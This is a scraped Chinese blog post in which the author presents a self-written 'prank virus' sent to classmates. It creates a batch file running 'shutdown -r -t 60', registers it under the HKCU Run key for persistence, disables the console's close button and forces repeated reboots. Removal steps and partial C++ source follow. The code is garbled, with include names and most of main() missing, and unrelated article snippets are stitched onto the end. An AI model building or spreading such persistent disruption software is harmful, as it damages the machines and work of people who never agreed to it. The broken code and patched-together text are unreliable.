腦洞大開 c 重啟病毒

2021-08-02 21:15:07 字數 1748 閱讀 1576

介紹

看到知乎上的乙個問題,於是有了做乙個簡單病毒的主意,花了一下午的時間寫出來了,給同學發著玩玩,還挺有意思。

說一下病毒的症狀:執行exe程式後,電腦會重啟,之後的每次開機,都會在開機後60s後關機。

因為不是個惡意病毒,所以在每次開機的時候都會彈出乙個txt檔案告訴他們解決方案。

分析

整個病毒分為三部分:

一、建立檔案

有兩個檔案,都是開機自動啟動的。

1. 自動重啟的bat批處理檔案,只有一句話

shutdown -r -t 60

這種方式就決定了這其實不是個什麼高大上的病毒,只是突發奇想做來玩玩..

2. 乙個txt檔案,上面寫著解決方案(其實不能徹底解決)

二、 修改登錄檔

也是新增兩個開機自動啟動鍵,放在hkey_current_user\software\microsoft\window

s\currentversion\run,這兩個鍵分別啟動上面建立的兩個檔案。

這個run裡的鍵是每次開機後都會執行一次,所以把鍵放在這裡。

三、廢話+重啟電腦命令

就是調戲中毒者的一段廢話,以及給他們60s的時間儲存檔案,之後乙個重啟命令。

同時為了保證程式能正常執行(重啟命令是整個程式的最後一句,關閉程式就無法執行最後的關機命令),讓這個視窗的關閉按鈕失效變灰。(其實還是可以通過ctrl c退出程式,但是建立檔案+修改登錄檔是在程式執行後的零點幾秒就完成的,所以主體程式都是執行完了的)

這裡碰到了乙個問題,就是getconsolewindow()函式無法呼叫,上網上查了查,加上winusr.h標頭檔案和一句話

extern

"c" winbaseapi hwnd winapi getconsolewindow ();

就可以了。

解決方法

這裡貼上**的解決方法:

1. 先取消本次的重啟:win + r 開啟執行視窗,輸入shutdown -a,取消本次的重啟。

2. 刪除登錄檔:win + r 開啟執行視窗,輸入regedit,開啟登錄檔編輯器,按如下路徑開啟,hkey_current_user\software\microsoft\window,右邊有兩個鍵名叫auto_shutdown和help,這就是程式建立的兩個鍵,刪除後每次開機就不會重啟。

3. 程式一開始建立的檔案放在d盤根目錄下,開啟d盤就能看見建立的乙個txt檔案和乙個bat檔案,刪除之。

**

閒的無聊不要隨便執行哦~

hljs cpp">#include 

#include

extern

"c" winbaseapi hwnd winapi getconsolewindow ();

using

namespace

std;

int main()

cout

<< "lao xin, zha tie ma?"

<< endl;

sleep(3000);

cout

<< "now, restart."

<< endl;

sleep(1000);

system("shutdown -r -t 0");

return

0;}

腦洞大開的睡眠排序

睡眠排序演算法,嘻嘻,本身只是乙個腦洞開啟的排序演算法。排序演算法一般是力求兼顧時間和空間的平衡,而睡眠排序演算法卻像是乙個玩笑,當時間和空間兩者消耗足夠大,才能達到最終精確排序的目的。實現原理 構造 n 個執行緒,它們和這 n 個數一一對應。初始化後,執行緒們開始睡眠,等到對應的數那麼多個時間單位...

腦洞大開 細胞與程式設計

曾經我寫過關於未來智慧型機器的擔憂的文章,未公開,純屬個人閒暇亂寫,但是有朋友提出,如果要實現所謂的機械人的類人智慧型化,必須打破現有的馮 諾依曼體系才行。但是,結合之前學習的生物學的知識,特別是關於細胞學的知識,我對此的理解加深了一步。細胞學中,細胞核儲存著人類等生物的核心生命密碼,線粒體提供能量...

腦洞大開的思維工具 PMI

思維訓練第一課 pmi 愛德華 德博諾曾說,每個人的頭腦中都有乙個自己建立的資料庫,這就是經驗。當你充分利用這個資料庫時,也就拓展了自己的思維。pmi 思維方法,思維訓練第一課 1 問題與思考 問題分兩種,一種是不帶觀點的問題,比如 太陽在發光發熱,紅旗在飄 一種是不帶觀點的問題 廢除死刑是一件好事...